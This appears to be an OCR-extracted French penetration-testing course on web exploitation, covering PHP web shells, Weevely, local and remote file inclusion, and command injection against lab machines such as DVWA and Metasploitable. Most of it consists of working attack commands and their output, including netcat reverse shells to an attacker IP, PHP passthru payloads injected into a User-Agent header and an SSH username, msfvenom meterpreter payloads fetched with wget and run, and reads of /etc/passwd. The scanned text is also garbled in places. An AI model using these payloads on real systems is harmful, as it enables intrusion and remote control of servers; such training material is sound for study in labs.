
04-

04-

04-

04-

04-

04-

04-

Jul-

-May-

Jul-

Jul-

Jul

Jul-

Jul-

Jul-

Jul-

modified

2020

2020

2020

2020

-2020

2020

2020

2020

2020

06:

219

F19:

:19:

t197

+19:

119

211

04

03

03

03

03

232:

Il suffit de cliquer sur [ .. ] et sur les noms de répertoires entre crochets pour voyager

dans I’arborescence de I'ordinateur cible.

Il est possible de sortir du répertoire racine I’application web et on a alors accés a

tous les fichiers de I’ordinateur.

Des actions sont permises sur les fichiers :

e edit
e rename
e delete

e download

Trés impressionnant ! C’est mon shell préféré...
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hell remis au ur fonctionne avec PHP < 7.4

Il existe une version de ce vieux shell mise a jour pour PHP 7 :

« EllShell v. 2.0 [PHP 7 Update] [25.02.2019]:

Software: Apache/2.4.43 (Debian). PHP/7.3.15-3

uname -a: Linux kali .0-kali2-amd64 #1 SMP Debia 17-1kalil (2020-04-21) x86_64
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Safe-mode:

Jvar/www/html/ drwxr-xr-x

Free 59.22 GB of 76.27 GB (77.64%)

A o
A = - E a h Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Owned by hacker

Listing folder (6 files and 1 folders):

>
1
a

Name & Size i Owner/Group Perms
5 LINK
| ] LINK
M [Shell PHP 1 DIR
P 85.03 KB
php 108.67 KB

-

- B~ BB - R-B-E-B-F
LR L EETI 1L

Select all Unselect all With selected: i

Enter:

:: Search :: Upload ::

Parcourir... Aucun fichier sélectionn

:: Make Dir : :: Make File ::

|/var/www/html/ — /var/www/html/

:: Go File ::

/var/www/html/

Command execute

Enter:
uname

Result of execution this command:

Linux kali 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kalil (2020-04-21) x86 64 GNU/Linux

@@@@ © m@x
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SREDEIENENRENE  fonctionne avec PHP 7 & 8

Ce shell est un shell élaboré par un informaticien indien :

Own This Box!

Username/mot de passe par défaut : lionaneesh/lionaneesh

PHP Evaluate MDS5 Cracker Google Dork Creator | m Out!

Name Size Permissions Rename
index.nginx-debian.htm| 612 B “TW-—T--
-Shell.php 85.03 KB “TW-T—T--
index.html 10.45 KB -PW-T—T--

N’utilisez jamais ces shells PHP sur de véritables serveurs, mais
uniquement sur des machines virtuelles volontairement vulnérables !

lls seront de toute fagon immédiatement détectés par I'antivirus, et

vous aurez de sérieux ennuis avec la justice...
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Weevely : un shell PHP trés puissant

On peut trouver weevely a la page : https://github.com/epinna/weevely3

Procédure

e On génére le webshell,

¢ On télécharge le shell sur 'ordinateur de la cible (upload),

¢ On se connecte au shell depuis I'ordinateur de I'attaquant

e On peut éventuellement, si on est confronté a des mesures de sécurité qui

nous y obligent, transformer le shell bind en un shell reverse

Générer le shell :
weevely generate [ PASSWORD ] [ FILE NAME ]
Exemple :

weevely generate secret123 shell.php

Se connecter au shell :
weevely [ URL ] [ PASSWORD ]
Exemple :

weevely http://192.168.56.102 secret123

On obtient alors I'invite de commande : weevely>...
Il est dés lors possible de lancer, si notre cible est une machine Linux :

e Des commandes shell : Is, pwd, whoami, ... (elles doivent de préférence se
terminer par un point-virgule)

o Des commandes weevely : celles-ci sont utiles si les commandes shell ne
fonctionnent pas a cause d’un probléme de permission (elles doivent étre

précédée de ':')
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Exemple de commandes shell utilisées directement :

> [ J’ai oublié les points-virgules a la fin des commandes. Pensez-y ! ]

:~$ weevely http://192.168.56.102/dvwa/hackable/uploads/shell.php secret123

[+] weevely 4.0.1

[+] Target: 192.168.56.102
[+] Session: /home/kali/.weevely/sessions/192.168.56.102/shell_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

B weevely> whoami
The remote script execution triggers an error 500, check script and payload integrity
ww -data
ww-data@192.168.56.102:/var/ww/dvwa/hackable/uploads $ hostname
The remote script execution triggers an error 500, check script and payload integrity
metasploitable

Si une commande shell ne fonctionne pas, on peut utiliser des commandes weevely :

e Pour obtenir I'ensemble des commandes weevely, on tape :
weevely> :help
o Pour obtenir de I’'aide sur une commande weevely en particulier, on tape :

weevely> :<COMMANDE> -h

e Exemples de commandes weevely :
:system_info
:file_upload
:file_download
:audit_etcpasswd

:shell_sh

Une commande shell qui ne fonctionnerait pas peut souvent étre malgré tout exécutée

via weevely avec la commande :
weevely> :shell_sh <COMMANDE SHELL>
Exemple :

weevely> :shell_sh whoami
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La commande system_info (la machine cible est une machine Metasploitable) :

weevely> :system_info
The remote script execution triggers an error 500, check script and payload integrity
The remote script execution triggers an error 500, check script and payload integrity

document_root

whoami

hostname

pwd /var/ww/dvwa/hackable/uploads
opeA_basedir

safe_mode False

script /dvwa/hackable/uploads/shell.php

script_folder /var/ww/dvwa/hackable/uploads

| uname Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008

1686 |

| os Linux

| clilnt_ip 192.168.56.114

| max_execution_time | 30
php_self /dvwa/hackable/uploads/shell.php
dir_sep /
php_version 5.2.4-2ubuntu5.10

B

L’aide de la commande shell_sh :

weevely> :shell_sh -h
The remote script execution triggers an error 500, check script and payload integrity
usage: shell_sh [-h] [-stderr_redirection STDERR_REDIRECTION]

[-vector {system,passthru,shell_exec,exec,popen,proc_open,python_eval,perl_system,pcntl}]

command [command ... ]
Execute shell commands.

positional arguments:
command Shell command

optional arguments:

-h, —help show this help message and exit

-stderr_redirection STDERR_REDIRECTION

-vector {system,passthru,shell_exec,exec,popen,proc_open,python_eval,perl_system,pcntl}
ww-data@192.168.56.102:/var/ww/dvwa/hackable/uploads $ [

237:

On peut voir que cette fonction propose différents vecteurs : il faut de préférence tous

les tester pour voir lequel fonctionne !
Exemples :
weevely> :shell_sh -vector perl_system whoami

weevely> :shell_sh -vector passthru whoami
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Vous allez me demander : que se passe-t-il si aucunes des commandes shells et

weevely (quel que soit le vecteur choisi) ne fonctionnent ?

Dans ce cas, notre bind shell est peut-étre bloqué par une mesure de sécurité présente

sur la cible.

Il nous reste une derniére alternative : transformer ce bind shell en reverse shell. Cela

peut étre réalisé avec la commande weevely :
:backdoor_reversetcp
Voici I'aide de cette commande :

weevely> :backdoor_reversetcp -h
The remote script execution triggers an error 500, check script and payload integrity
usage: backdoor_reversetcp [-h] [-shell SHELL] [-no-autonnect]

[-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}]
lhost port

Execute a reverse TCP shell.

positional arguments:

lhost Local host
port Port to spawn

optional arguments:

-h, —help show this help message and exit

-shell SHELL Specify shell

-no-autonnect Skip autoconnect

-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}
ww-data®192.168.56.102:/var/ww/dvwa/hackable/uploads $ i

Lancons cette commande (avec le vecteur netcat) en indiquant notre adresse IP
(machine de I’attaquant) et un numéro de port au choix :

weevely> backdoor_reversetcp -vector netcat 192.168.56.114 4567

The remote script execution triggers an error 500, check script and payload integrity

Reverse shell connected, insert commands. Append semi-colon help to get the commands accepted.

whoami;

ww-data

pwd;

/var/wm /dvwa/hackable/uploads

hostname;

metasploitable

uname -a;

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

NOTRE REVERSE SHELL FONCTIONNE PARFAITEMENT !
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Obtenir un shell grace au LFlI

Pour obtenir un shell grace a une inclusion de fichier local, nous pouvons injecter du

code dans des fichiers lisibles du serveur, comme :

e [proc/selflenviron
e /var/log/auth.log

¢ |var/log/apache2/access.log

Réalisons cette attaque via le fichier /proc/self/environ

Incluons ce fichier dans la page du site DVWA vulnérable au LFI (sur Metasploitable) :

|v ® 192.168.127.128/dvwa/vulnerabilities/fi/?page=../..{../..[../proc/selffenviron

\ g

Que constatons-nous :

ce fichier contient le client utilisé pour la page courante (HTTP_USER_AGENT)

Damn Vulnerable Web App (DVWA) v1.0.7 :: Vulnerability: File Inclusion - Mozilla Firefox © @ ¢

[®] Damn Vulnerable Web A X | =+

\(— > C @ | ® 192.168.127.128/dvwa/vulnerabilities/fi/?page=..[..[..[..|..[proc/self fenviron 133% ) | oo ﬁ‘ N @ 3

§ Most Visited @ Getting Started
REDIRECT HANDLER'phpS—cglREDIRECT STATUS'ZOOHTTP HOST=192.168.127.12BHTTP_USER AGENT—MOZIIIaIEO(Xll Linux x86_64; 1v:60.0) Gecko/20100101
Firefox/60.0HTTP_ACCEPT: +xml ion/xml;q=0.9,*/*,g=0.8|
deflateHTTP_COOKIE=security=low; PHPSESSID= 7990fd54aa39db7c56701c1aca5dbd27HTTP CONNECTION—CIOSEHTTP UPGRA INSECURE_REQUESTS—lPATH—IuerIocaI
fbin:/usr/bin:/binSERVER_SIGNATURE=
pache/2.2.8 (Ubuntu) DAV/2 Server at 192.168.127.128 Port 80
ISERVER_SOFTWARE=Apache/2.2.8 (Ubuntu)
DAVI2SERVER_NAME=192.168.127.128SERVER_ADDR=192.168.127.128SERVER_PORT=80REMOTE_ADDR=192.168.127.}33DOCUMENT_ROOT=Nariwww
SERVER_ADMIN=webmaster@IlocalhostSCRIPT_FILENAME=/usr/lib/cgi-bin/phpREMOTE_PORT=36240REDIRECT_QUERY /STRING=page=.....l..I.L./| IselflenvironREDIRECT_URL=
fdvwalvulnerabilities/fiindex.phpGATEWAY_INTERFACE=CGI/1.1SERVER_PROTOCOL=HTTP/1.1REQUEST_METHOD=GE)QUERY_STRING=page=...../..l..I..[proc/self
’envnronREQUEST URI=/dvwal/vulnerabilitiesffi/?page=../..I....I..Iproc/selflenvironSCRIPT_NAME=/cgi-bin/phpPATH_INFO=/dyfva/vulnerabilities/fi/index.phpPATH_TRANSLATED=Nariwww
biliti php

HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
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Nous allons donc nous servir de Burp pour intercepter la requéte qui communique
cette information au serveur, puis nous allons changer la valeur du champ en

question afin d’y placer du code malveillant.

Le code malveillant sera le suivant :

<?php passthru("nc -e /bin/sh <ADRESSE IP DU HACKER> <PORT>") ; ?>

Il ne restera plus qu’a créer un listener sur la machine de I’attaquant, avec la

commande :

nc -lvp <PORT>

On enverra enfin la requéte malveillante au serveur.

INTERCEPTION DE LA REQUETE
Burp Intruder Repeater Window Help

[TargetTv‘; XY T-Spider-TScanner I Intruder rRepeater-TSequencer-TrDecoder—T‘Comparerm

J ntercept T HTTP history TWebSockets history T Options ]

lij Request to http://192.168.127.128:80

| Forward [ L Drop J | Interceptison | | Action J

—J Raw T Params T Headers T Hex ]

GET /dvwa/vulnerabilities/fi/?page=../../../../../proc/self/environ HTTP/1.1
Host: 192.168.127.128

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: security=low; PHPSESSID=799cfd54aa39db7c¢56701claca5dbd27

Connection: close

Upgrade-Insecure-Requests: 1
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CLIQUONS SUR L’'ONGLET HEADERS

Burp Intruder Repeater Window Help

[Target T I rOXYy T Spider I Scanner T Intruder I}upeater I Sequencer I Decoder T Comparer ] Extender I Project options I User options IAIerts ]
J itercept T HTTP history IWebSockets istory TOptions ]

|#) Request to http://192.168.127.%78:80

| Forward | | op | | Interceptis on ‘ ( Action \

— & e
Raw Headers | Hex

Name | value

GET /dvwajvulnerabilities/fi/?page=../../../../..Jproc/self/environ HTTP/1.1
Host 192.168.127.128

User-Agent Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept text/html,application/xhtml+xml,application/xml;q=0.9.%/*;q=0.8
Accept-Language en-US,en:;q=0.5

Accept-Encoding gzip, deflate

Cookie security=low; PHPSESSID=799cfd54aa39db7¢56701clacaSdbd27
Connection close

Upgrade-Insecure-Requests 1

Modifions le champ User-Agent :

GET Jdvwajvulnerabilities/fi/?page=../../../../..Jproc/selfj/environ HTTP/1.1
Host 102 1£0 197 120

User-Agent <?php passthru("nc -e /bin/bash 192.168.127.133 5555"); 7>
Accept 3
Accept-Language en-US,en;q=0.5

Accept-Encoding gzip. deflate

Cookie security=low; PHPSESSID=799cfd54aa39db7c56701clacasdbd27
Connection close

Upgrade-Insecure-Requests [1

On lance le listener sur la machine Kali :

:~# nc -lvp 5555

listening on [any] 5555

On achemine la requéte modifiée en cliquant sur Forward :

Burp Intruder Repeater Window Help

Target I T Spider ] Scanner TlntruderT Repeater T Sequencer TDecoder
J T HTTP history I WebSockets history I Options ]

| #| Request to http://192.168.127.128:80

| Forward | Drop | | Interceptison | | Action

[Raw TParams THeaders IHex ]
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La connexion se réalise :

:~# nc -lvp 5555
listening on [any] 5555
192.168.127.128: inverse host lookup failed: Unknown host

connect to [192.168.127.133] from (UNKNOWN) [192.168.127.128] 48985

On peut maintenant lancer des commandes sur la machine cible :

:~# nc -lvp 5555
listening on [any] 5555
192.168.127.128: inverse host lookup failed: Unknown host
connect to [192.168.127.133] from (UNKNOWN) [192.168.127.128] 48985
pwd
/var/www/dvwa/vulnerabilities/fi

whoami
www-data
hostname
metasploitable

Cette
fonctionne pas avec le site
DVWA de la machine virtuelle
BWA, mais bien avec le site
DVWA de
Metasploitable !

manipulation ne

la machine
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Réalisons cette méme attaque via le fichier /var/log/auth.log

Le fichier /var/log/auth.log contient toutes les tentatives de connexion (login) faites sur

le serveur.

Lisons le contenu de ce fichier (sur la machine Metasploitable) en tapant son chemin

dans le navigateur :

168.56.102

© DamnVulnerableWeb” X +

< Cc @ D 192.168.56.102 = 150% e @ 1

(C) Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter f| Offensive Security Exploit-DB GHDB | MSFU
Oct 7 13:52:20 metasploitable sshd[4048]: Server listening on :: port 22. Oct 7 13:52:20 metasploitable sshd[4048]: error: Bind to port 22 on 0.0.0.0 failed: Addressl
13:52:56 metasploitable login[4607]: pam_unix(login:session): session opened for user msfadmin by LOGIN(uid=0) Oct 7 13:56:07 metasploitable sshd[3958]: Sen
22. Oct 7 13:56:07 metasploitable sshd[3958]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use. Oct 7 13:56:30 metasploitable login[4528]: pam_unix
session opened for user msfadmin by LOGIN(uid=0) Oct 7 14:09:01 metasploitable CRON[4705]: pam_unix(cron:session): session opened for user root by (uid=0)
metasploitable CRON[4705]: pam_unix(cron:session): session closed for user root Oct 7 14:17:01 metasploitable CRON[4735]: pam_unix(cron:session): session o
(uid=0) Oct 7 14:17:01 metasploitable CRON[4735]: pam_unix(cron:session): session closed for user root Oct 7 14:39:01 metasploitable CRON[4787]: pam_unix(c
lopened for user root by (uid=0) Oct 7 14:39:01 metasploitable CRON[4787]: pam_unix(cron:session): session closed for user root Oct 7 15:18:30 metasploitable ss
Jlistening on :: port 22. Oct 7 15:18:30 metasploitable sshd[3966]: error: Bind to port 22 on 0.0.0.0 failed: Address already in use. Oct 7 15:19:12 metasploitable logil
pam_unix(login:session): session opened for user msfadmin by LOGIN(uid=0) Oct 7 15:39:01 metasploitable CRON[5931]: pam_unix(cron:session): session opene
(uid=0) Oct 7 15:39:01 metasploitable CRON[5931]: pam_unix(cron:session): session closed for user root Oct 7 16:09:01 metasploitable CRON[9604]: pam_unix(c
opened for user root by (uid=0) Oct 7 16:09:01 metasploitable CRON[9604]: pam_unix(cron:session): session closed for user root Oct 7 16:17:01 metasploitable C
pam_unix(cron:session): session opened for user root by (uid=0) Oct 7 16:17:01 metasploitable CRON[9634]: pam_unix(cron:session): session closed for user roo

Tentons une connexion ssh avec un utilisateur qui n’existe pas (test123456) sur la

machine Metasploitable (la cible) :

:~$ ssh test1234569192.168.56.102
The authenticity of host '192.168.56.102 (192.168.56.102)' can't be established.
RSA key fingerprint is SHA256:BQHmM5E0HX9GCiOLuVscegPXLQOsuPs+E9d/rriB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.56.102' (RSA) to the list of known hosts.
test123456@192.168.56.102"'s password:

Permission denied, please try again.

test123456@192.168.56.102's password: [j

Réactualisons la page de log dans le navigateur :

failure; logname= uid=0
2 ssh2 Jun 29 18:34:19| metasploitable sshd[4730]: Invalid user test123456 from
31123456 from 192.168.56.114 port 59566 ssh2 Jun 29 18:34:21 metasploitable sshd[4730]:
0]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser=

ilid user test123456 from 192.168.56.114 port 59566 ssh2

Notre tentative de login est bien journalisée ! Nous allons pouvoir

exploiter cela en essayant de nous reconnecter avec cette fois-ci

un code malicieux en guise de nom d’utilisateur ...
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Le code malicieux sera :
nc -e /bin/sh 192.168.56.114 4567

192.168.56.114 est I’adresse IP de I'attaquant (une machine Kali Linux)

Les caractéres spéciaux seront toutefois génants, nous allons donc coder la ligne ci-

dessus en base64 via Burp :

nc -e /bin/sh 192.168.56.114 4567| @ Text @ Hex @

[Decode as ...

Encode as ...

@ ® &

|
| Hash ...
[

Smart decode

bmMgLWUgL2)pbi9zaCAXOTIUMTY4LjU2LJEXNCAONTY3 | @ Text O Hex

| Decode as ...

| Encode as ...

[Hash

@ ® &

[ Smart decode

On lance maintenant un listener sur la machine de I’'attaquant :

:~$ sudo -i
[sudo] password for kali:

rootakali:~# nc -lvp 4567
listening on [any] 4567

La connexion sera réalisée avec la commande :
ssh "<?php passthru(base64_decode('bmMyg.....NTY3'));?>"@192.168.56.102

192.168.56.102 est I’adresse IP de la machine cible (Metasploitable)

La fonction base64_decode() permet de retrouver le code malveillant que nous avions

préalablement codé en base64.
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rootakali:~# ssh "<?php passthru(base64_decode('bmMgLWUgL2Ipbi9zaCAx0O
TIUMTY4LjU2LFEXNCAONTY3'));?>"0192.168.56.102

The authenticity of host '192.168.56.102 (192.168.56.102)' can't be e
stablished.

RSA key fingerprint is SHA256:BQHM5E0HX9GCiOLuVscegPXLQOsuPs+E9d/rrJB
84rk.

Are you sure you want to continue connecting (yes/no/[fingerprint])?

245:

yes

Warning: Permanently added '192.168.56.102' (RSA) to the list of know
n hosts.

<?php passthru(base64_decode( 'bmMgLWUgL2Ipbi9zaCAXOTIUMTY4LjU2LFEXNCA
ONTY3'));?>®192.168.56.102"'s password:

Permission denied, please try again.

<?php passthru(base64_decode( 'bmMgLWUgL2Ipbi9zaCAXOTIuMTY4LjU2LJEXNCA
ONTY3'));?>@192.168.56.102's password: [J

On réactualise la page de log dans le navigateur :
rootakali:~# nc -lvp 4567
listening on [any] 4567

192.168.56.102: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.114] from (UNKNOWN) [192.168.56.102] 42694
whoami

ww-data

hostname

metasploitable

(THET

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC

GNU/Linux

\ g

Nous obtenons bien un shell sur la machine cible !

Pour une raison inconnue, je n’ai pas réussi a utiliser cette technique avec le protocole FTP.

Probleme a creuser...
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Obtenir une session meterpreter grace au RFI

Soit une page vulnérable au RFI :

http://10.100.0.100/dir/index.php?page=hello.php

On va utiliser le module Metasploit :
> use exploit/unix/webapp/php_include
> set PAYLOAD php/meterpreter/reverse_tcp
> set SRVHOST 172.16.5.20
> set LHOST 172.16.5.20
> set RHOST 10.100.0.100
> set PHPURI /dir/index.php?page=XXpathXX

> exploit
ON OBTIENT ALORS UNE PREMIERE SESSION METERPRETER !

Parfois, cependant, la session meurt aprés quelques poignées de secondes.
Que faire ?
On commence par créer un payload reverse_tcp exécutable avec msfvenom :

Imsfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.5.20 Iport=1234 -f exe
-0 /root/Desktop/reverse.exe

On relance alors le module php_include ci-dessus et on profite des quelques
secondes disponibles pour lancer la commande meterpreter suivante :
upload /root/Desktop/reverse.exe .
(ne pas oublier le point final)

Le payload reverse.exe est alors téléchargé sur le serveur cible.

Il suffit maintenant de lancer un listener sur I'ordinateur de I'attaquant :
> use multi/handler
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST 172.16.5.20
> set LPORT 1234

> exploit

(oK)
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Pour terminer, on exécute le fichier reverse.exe sur la cible. Il y a deux procédés qui

permettent de le faire :

1. On peut se servir d’un shell PHP pour exécuter le fichier depuis le shell PHP

simplement en tapant le nom du fichier suivi de <ENTER> dans le terminal.

2. On peut aussi relancer le module php_include avec les options suivantes :

> use exploit/unix/webapp/php_include

> set RHOST 10.100.0.100

> set PAYLOAD php/exec

> set CMD reverse.exe

> set SRVHOST 172.16.5.20

> set PHPURI /dir/index.php?page=XXpathXX

> exploit

ON OBTIENT ALORS UNE DEUXIEME SESSION METERPRETER,
QUI CETTE FOIS SERA DURABLE DANS LE TEMPS !

(oK)
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248:

Je vais utiliser le DNS Lookup du site vulnérable Mutillidae Il (OWASP BWA). Celui-ci

permet d'obtenir I'adresse IP correspondant a un nom de domaine :

DNS Lookup

(‘@ Back

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP ‘ www.google.com| ‘

Lookup DNS
Results for www.google.com
Server: 62.197.111.140
Address: 62.197.111.140#53

Non-authoritative answer:
Name:  www.google.com
Address: 172.217.19.196

Si le script est mal congu, il va étre possible de rajouter d'autres commandes a l'aide
du caractere esperluette ( & ou && ), du point-virgule (; ) ou du pipe (|):

DNS Lookup

(@ Back

Who would you like to do a DNS lookup on?

Imaginez le Enter IP or hostname
probléme si on
tape : Hostname/IP ‘ & pwd ’
& m it/

Results for & pwd

/var/www/mutillidae

On aurait pu tapelx
également :

&& whoami

ou

Bingo : la commande Linux pwd est exécutée sur le serveur !
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Soyons fou, tentons d'afficher le contenu du fichier /etc/passwd situé sur le serveur.

Bingo :

DNS Lookup

R Back

-

Who would you like to do a DNS lookup on?

Enter IP or hostname

Hostname/IP & cat fetc/passw| ’

LookupDNS |

Results for & cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
:x:1:1:daemon: /usr/sbin: /bin/sh
:2:2:bin: /bin: /bin/sh
:3:3:9ys:/dev: /bin/sh
c:x:4:65534: sync:/bin: /bin/sync
:X:5:60:games: /usr/games: /bin/sh
x:ﬁ:u man: /var/cache/man: /bin/sh
:7:7:1p:/var/spool/lpd: /bin/sh
:X:B:8:mail: /var/mail: /bin/sh
X392
X:

I

iéfE

9:news: /var/spool/news: /bin/sh
10:10:uucp: /var/spool/uucp: /bin/sh
:x:13:13:proxy: /bin: /bin/sh
:x:33:33:www-data: /var/www: /bin/sh
3‘ 34:backup: /var/backups: /bin/sh
B:38: Ihililg List Manager:/var/list:/bin/sh

1rc x 39 39:ircd: /var/run/ircd: /bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

:X:65534:65534: nobody: /nonexistent: /bin/sh
libuuid:x:100:101:: /var/lib/libuuid: /bin/sh
dhep:x:101:102: : /nonexistent: /bin/false
syslog:x:102:103: : /home/syslog: /bin/false
klog:x:103:104:: /home/klog: /bin/false
sshd:x:104:65534: : /var/run/sshd: fusr/sbin/nologin
msfadmin:x:1000:1000:msfadnin, , , : /home/msfadmin: /bin/bash
bind:x:105:113:: /var/cache/bind: /bin/false
postfix:x:106:115:: /var/spool/postfix: /bin/false
ftp:x:107:65534: : /homa/ftp: /bin/false
postgres:x:168:117:PostgreSOL administrator,,,:/var/lib/postgresql:/bin/bash
nysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534:: /usr/share/tomcat5.5: /bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1601: just a user,lll,,:/home/user:/bin/bash
service:x:1002:1002:,,, : /home/service: /bin/bash
telnetd:x:112:120: : /nonexistent: /bin/false
proftpd:x:113:65534: : /var/run/proftpd: /bin/false
statd:x:114:65534:: /var/lib/nfs: /bin/false
snnp:x:115:65534: : /var/Llib/snmp: /bin/false

35

pc

gEg

Vous pouvez maintenant imaginer le danger d'une injection de code !
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Si un filtre c6té client interdit I'utilisation de I'esperluette, il suffit d'utiliser Burp Suite
pour intercepter la requéte et la modifier avant de I'envoyer au serveur. Voici le message

obtenu avec Mutillidae au niveau de sécurité n°1 si je tente une injection de code :

Ampersand and semi-colon are not allowed.

Don't listen to security people. Everyone knows if we just
filter dangerous characters, XSS is not possible.

We use JavaScript defenses combined with filtering
technology.

Both are such great defenses that you are stopped in
your tracks.

Interception avec Burp d'une requéte conforme au filtre (on tape : www.google.com) :

POST /mutillidae/index.php?page=dns-lookup.php HTTP/1.1

Host: 10.0.2.7

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0

Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.7/mutillidae/index.php?page=dns-lookup.php
Content-Type: application/x-www-form-urlencoded

Content-Length: 66

Cookie: showhints=0; PHPSESSID=dc2d7c8b018a12eea30b61553f967970
Connection: close

Upgrade-Insecure-Requests: 1
target_host=www.google.com&dns-lookup-php-submit-button=Lookup+DNS

Il me suffit alors de remplacer, dans la derniére ligne, "www.google.com" par
"%26+<commande>" pour réaliser l'injection de code (par exemple : %26+whoami).
%26 est le code URL correspondant a I'esperluette (&). On clique alors sur le bouton

FORWARD de Burp Suite. Le résultat correspond bien a notre attente, nous avons

contourné le filtrage client :

| Results for & whoami

www-data
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Obtenir un shell grace a une injection de commande

Je lance un listener sur la machine de I'attaquant (port 8080) :

:~$ nc -lvp 8080

listening on [any] 8080

J’utilise un pipe (| ) pour faire mon injection de commande. La commande est :
| nc -e /bin/sh <IP DE L’ATTAQUANT> <PORT>

T

Ping for FREE

Enter an IP address below:

| | nc -e /bin/sh 192.168.56.114 8080 || submit | <:I

On obtient bien un shell sur la machine cible !

T

:~$ nc -lvp 8080
listening on [any] 8080
192.168.56.102: inverse host lookup failed: Host name lookup failure

connect to [192.168.56.114] from (UNKNOWN) [192.168.56.102] 57431
whoami

www -data

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
1686 GNU/Linux

On peut méme réaliser une attaque DoS par le biais d’'une injection de commande en

injectant, par exemple, la commande & start notepad.exe cinq cent fois de suite dans
le champ vulnérable !
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Obtenir une session meterpreter avec une injection de commande

Procédure :

= Créer le payload :
msfvenom -p python/meterpreter/reverse_tcp LHOST=<IP DE KALI>
LPORT=1234 >> payload.py
= Lancer le serveur apache sur Kali Linux :
sudo service apache2 start
= Transférer le payload sur /var/www/html :
cp payload.py /var/www/html/
= Lancer un listener sur Kali Linux :
msf > use exploit/multi/handler
msf > set payload python/meterpreter/reverse_tcp
msf > Set LHOST <IP DE KALI>
msf > Set LPORT 1234
msf > run
= Réaliser l'injection de commande pour transférer le payload sur la machine cible
puis I'exécuter :
; wget <IP DE KALI>/payload.py
s

; python payload.py

J’ai di m’y reprendre a deux fois, le deuxiéme essai donnant le résultat escompté :

msf6 exploit(multi/handler) > run

Started reverse TCP handler on 192.168.56.249:1234

192.168.56.115 - Meterpreter session 1 closed. Reason: Died

Sending stage (39324 bytes) to 192.168.56.115

Meterpreter session 2 opened (192.168.56.249:1234 — 192.168.56.115:47382) at 2020-12-09

meterpreter > sysinfo

Computer : owaspbwa

0s : Linux 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010
Architecture : 1686

System Language : C

Meterpreter : python/linux

meterpreter > |

Réussite de cette exploitation !
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Automatiser les attaques par injection de commande avec Commix

Commix (Command Injection Exploiting Tool) se télécharge a la page :

https://github.com/commixproject/commix

Nous allons utiliser la page vulnérable de DVWA, consacrée a I'injection de commande,
dont nous capturons la requéte avec Burp. Nous enregistrons alors cette requéte dans

un fichier texte (request.txt) :
)

Vulnerability: Command Execution

Ping for FREE

Enter an IP address below:

8.8.8.8 submit

\

/home/kali/Desktop/commix/request.txt - Mousepad

File Edit Search View Document Help

POST /dvwa/vulnerabilities/exec/ HTTP/1.1

Host: 192.168.56.108

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.108/dvwa/vulnerabilities/exec/

Content-Type: application/x-ww-form-urlencoded

Content-Length: 24

Connection: close

Cookie: security=low; PHPSESSID=e76d911b9660f58892bc9b43ab86c5d6
Upgrade-Insecure-Requests: 1

ip=8.8.8.8&submit=submit
P Cette requéte contient le cookie de session.

Nous allons spécifier ce fichier de requéte a commix afin que notre outil connaisse le

cookie de session qui lui permettra de s’authentifier sur le site vulnérable.

Nous constatons que le paramétre injectable de la requéte est le paramétre "ip".
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Langons commix avec les options suivantes :

= -r path/to/request_file
= -p paramétre_injectable

= --all récupére toutes les informations disponibles

1S4

rootakali:/home/kali/Desktop/commix# python commix.py -r request.txt -p ip —all

T 7 .
Y N/ NA N\ A \/'\ v3.2-devit8e

i -

IR AR VA VATR VAR VATR VATE VAT Y AR WAV I 4
YA
\/

SRS, O N L 0 W0 TR 0 T W T 0 T T T 0 TR T
INf___1 NL_INE_INE_INE_INY _IN_INZ_INY/IN/ 1 (@commixproject

+ -

Automated All-in-One 0S Command Injection and Exploitation Tool
Copyright © 2014-2021 Anastasios Stasinopoulos (@ancst)

4+ —=

(!) Legal disclaimer: Usage of commix for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable lo
cal, state and federal laws. Developers assume no liability and are not responsib
le for any misuse or damage caused by this program.

[warning] Internet seems unreachable.
[ ] Parsing HTTP request using the 'request.txt' file.

[ ] Testing connection to the target URL.
[ ] Setting the POST parameter 'ip' for tests.

v

L’attaque réussit et les informations collectées s’affichent rapidement :

[info] The POST parameter 'ip' seems injectable via (results-based) classic comma
